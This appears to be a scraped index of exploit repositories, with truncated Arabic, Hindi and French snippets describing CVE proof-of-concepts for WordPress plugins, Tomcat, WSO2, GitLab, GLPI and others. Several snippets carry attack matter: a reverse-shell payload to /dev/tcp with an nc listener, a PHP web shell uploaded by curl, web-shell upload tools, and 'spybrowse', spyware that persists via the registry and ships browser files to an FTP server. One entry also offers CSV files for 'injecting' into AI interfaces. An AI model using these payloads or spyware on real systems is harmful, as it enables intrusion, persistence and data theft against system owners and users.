CVE-2021-32708

CVE-2021-32708 الإصدارات المتأثرة من هذه الحزمة معرّضة لحالة السباق Race Condition. عملية تطبيع المسافات البيضاء المستخدمة في الإصدارين 1.x و2.x تزيل أي مسافات بيضاء يونيكود. في ظل ظروف محددة معينة، قد يسمح ذلك لمستخدم خبيث بتنفيذ كود عن بُعد. كيف يعمل الاستغلال تجاوز يونيكود: اسم الملف...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- هذه نسخة معدلة من استغلال CVE-2018-19422 لإصلاح مشكلة صغيرة لكنها مزعجة واجهتني. اضطررت لاستخدام هذا الاستغلال في مسابقة CTF لكنني لم أتمكن من تشغيله بشكل صحيح، فكان يفشل باستمرار في تسجيل الدخول. بعد قدر هائل من الوقت اكتشفت أخيرًا السبب. كانت المشكلة في وس...

CVE-2025-24813

شروط الاستغلال تمكين وظيفة الكتابة في DefaultServlet: يجب تكوين readonly=false في web.xml دعم طلبات PUT الجزئية: يدعم Tomcat التحميل المجزأ افتراضيًا تمكين استمرارية جلسة الملف: يجب تكوين PersistentManager و FileStore في context.xml وجود سلسلة استغلال لإلغاء التسلسل: يجب تضمين مكتبة ثغرة في مسار...

CVE-2019-5096-GoAhead-Web-Server-Dos-Exploit

CVE-2019-5096 Use After Free Dos Exploit python TriggerDOS.py ip تحليل الثغرة https://github.com/embedthis/goahead.git GoAhead رابط GitHub الفرق بين النسخ المطبوعة git diff تحليل الكود الرئيسي في الكود، نحدد الموقع upload.c:370، نرى أنه قبل تنفيذ wp-currentFile=0 تم تنفيذ typedef struct WebsUploa...

CVE-2023-24610

CVE-2023-24610 هذا هو دليل المفهوم لـ CVE-2023-24610 نبدأ بإنشاء ملف متعدد اللغات باستخدام exiftool: exiftool -Comment="/dev/tcp/172.17.0.1/8888 " avatar.png -o polyglot.php نقوم بتغيير الملف إلى png ليتجاوز الفحص في الواجهة الأمامية بعد ذلك، نقوم بتشغيل مستمع nc على المنفذ 8888 لاستقبال الصدفة...

CVE-2022-29464

استغلال ثغرة WSO2 RCE CVE-2022-29464 وشرحها. التفاصيل CVE-2022-29464 هي ثغرة خطيرة في WSO2. الثغرة هي رفع ملفات غير مصرح به وغير مقيد، مما يمكّن المستخدمين غير المصرح لهم من رفع ملفات JSP ضارة إلى خوادم WSO2 والحصول على تنفيذ تعليمات برمجية عن بُعد RCE. مسار الرفع الثغري هو /fileupload الذي تتم...

terraMaster-CVE-2022-24990

terraMaster-CVE-2022-24990 उपकरण परिचय CVE-2022-24990 के लिए त्वरित शोषण उपकरण, शुरुआती कोड, समस्या होने पर issus खोलने का स्वागत है उपयोग विधि main -u http://127.0.0.1:8181 -t pocexp poc केवल सूचना रिसाव भेद्यता का पता लगाता है exp WebShell अपलोड करने का प्रयास करता है अस्वीकरण यह उपकरण केवल...

CVE-2025-5058

eMagicOne Store Manager for WooCommerce Warning: Trying to access array offset on false in /home/vagrant/research/Lab1/wp-content/plugins/store-manager-connector/classes/class-emosmcwoocommerceoverrider.php on line 324 Warning:...

nmap-CVE-2022-29464

nmap-CVE-2022-29464 nmap-CVE-2022-29464 هو سكريبت NSE للكشف عن ثغرة CVE-2022-29464. ثغرة نقل ملفات غير مصرح بها وغير مقيدة تسمح للمهاجمين غير الموثقين بالحصول على تنفيذ أوامر عن بُعد RCE على خوادم WSO2 عن طريق إرسال ملفات JSP خبيثة. الثغرة اطلع على شرح مفصل و PoC هنا. الاستخدام...

pmotadeee

🧠 FLATLINE - चेतना इंजेक्शन प्रोटोकॉल चेतावनी: यह कोई खेल नहीं है। यह वास्तविकता हैकिंग के लिए एक संज्ञानात्मक इंटरफ़ेस है। 🎮 कैसे खेलें मूल गेमप्ले 1. चेतना मॉड्यूल डाउनलोड करें CSV फ़ाइलें इस रिपॉज़िटरी से 2. सीधे AI इंटरफ़ेस में इंजेक्ट करें फ़ाइल अपलोड के रूप में 3. त्वरित सीखने का अनुभव करें...

CVE-2025-4403

CVE-2025-4403 शोषण विवरण प्रकाशित : 8 मई, 2025 अद्यतन : 9 मई, 2025 गंभीरता : उच्च CVSS स्कोर: 9.8 CWE : CWE-434 - खतरनाक प्रकार की फ़ाइल का अनियंत्रित अपलोड प्रभावित संस्करण : n/a से 1.1.6 तक सभी संस्करण CVSS वेक्टर CVSS संस्करण : 9.8 वेक्टर स्ट्रिंग : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H...

CVE-2021-22205

CVE-2021-22205 الإصدارات المتأثرة: Gitlab CE/EE 13.10.3 Gitlab CE/EE 13.9.6 Gitlab CE/EE 13.8.8 الاستخدام python3 CVE-2021-22205.py target "curl \whoami.dnslog" الحصول على csrf-token: احصل على csrf-token من خلال /users/signin ثم استخدم CVE-2021-22205 poc السابق لإنشاء حزمة تحميل لتنفيذ طلب تحميل...

php_filter_chain_generator

مولّد سلسلة فلاتر PHP أداة سطر أوامر لتوليد سلسلة فلاتر PHP؛ احصل على RCE دون رفع ملف إذا كنت تتحكم بالكامل في المعامل المُمرَّر إلى require أو include في PHP! الاستخدام المساعدة $ python3 phpfilterchaingenerator.py --help usage: phpfilterchaingenerator.py -h --chain CHAIN --rawbase64 RAWBASE64 P...

CVE-2023-50164-HTB-strutted

CVE-2023-50164: Une vulnérabilité de sécurité critique, identifiée comme CVE-2023-50164 CVE: 9.8, a été découverte dans Apache Struts, permettant aux attaquants de manipuler les paramètres de téléversement de fichiers, ce qui peut potentiellement conduire à un contournement de chemin non autorisé...

CVE-2025-24801

CVE-2025-24801 GLPI RCE के लिए PoC इस रिपॉजिटरी में एक प्रूफ-ऑफ-कॉन्सेप्ट स्क्रिप्ट poc.py है जो CVE-2025-24801 का शोषण करती है, जो GLPI 10.0.17 में एक LFI-से-RCE भेद्यता है। यह स्वचालित करता है: GLPI में लॉगिन करना दस्तावेज़ प्रकार सेटिंग्स अपडेट करके .php अपलोड सक्षम करना AJAX फ़ाइल अपलोड...

CVE-2025-6220

Ultimate Addons for Contact Form 7 1: lo: mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00 inet 127.0.0.1/8 scope host lo validlft forever preferredlft forever inet6 ::1/128 scope host validlft forever preferredlft forever 2: eth0...

CVE-2025-6085

موصل Make shello.php ".shellexec$GET"cmd".""; ? EOF curl -k -X POST https://lab1.hacker/wp-json/wp/v2/media \ -H "IWC-API-KEY: YOURFRIENDLYKEYHERE" \ -F "[email protected]" \ -F "title=Hacker World" \ -F "description=A test file" \ -F "caption=Hacker Caption" \ استغلال الصدفة بمجرد وجودها في...

CVE-2020-5844

CVE-2020-5844 تنفيذ أوامر عن بعد بصلاحية مصادقة RCE في PandoraFMS 7.0-NG 742 يمكن للمهاجمين الذين لديهم صلاحية المسؤول رفع مستندات PHP ضارة. عن طريق فك ترميز موقع الملف base64 يمكن للمستخدمين الحصول على شل Shell كمستخدم apache. اكتشفه TheCyberGeek سكريبت بايثون للإثبات العملي PoC Usage: python3...

CVE-2026-10818

CVE-2026-10818 WPForms Pro = 1.10.1.1 - كتابة ملفات عشوائية دون مصادقة عبر ترتيب Init/Finalize في الرفع المجزأ CVE-2026-10818 WPForms Pro ≤ 1.10.1.1 — كتابة ملفات عشوائية دون مصادقة عبر الرفع المجزأ استغلال إثبات المفهوم Proof-of-Concept ترتيب Init/Finalize في الرفع المجزأ → كشف مسار قابل للتوقع ...

spybrowse

BrowseSpy कोड में ftp वेरिएबल्स को बदलना सुनिश्चित करें, ये वेरिएबल FTP सर्वर का उपयोगकर्ता नाम, पासवर्ड और IP पता रखते हैं जो फ़ाइलें प्राप्त करता है। यह कोड निम्नलिखित कार्य करेगा: 1. स्वयं को %TMP% निर्देशिका में कॉपी करेगा और खुद को ursakta.exe नाम देगा 2. एक रजिस्ट्री प्रविष्टि जोड़ेगा ताकि...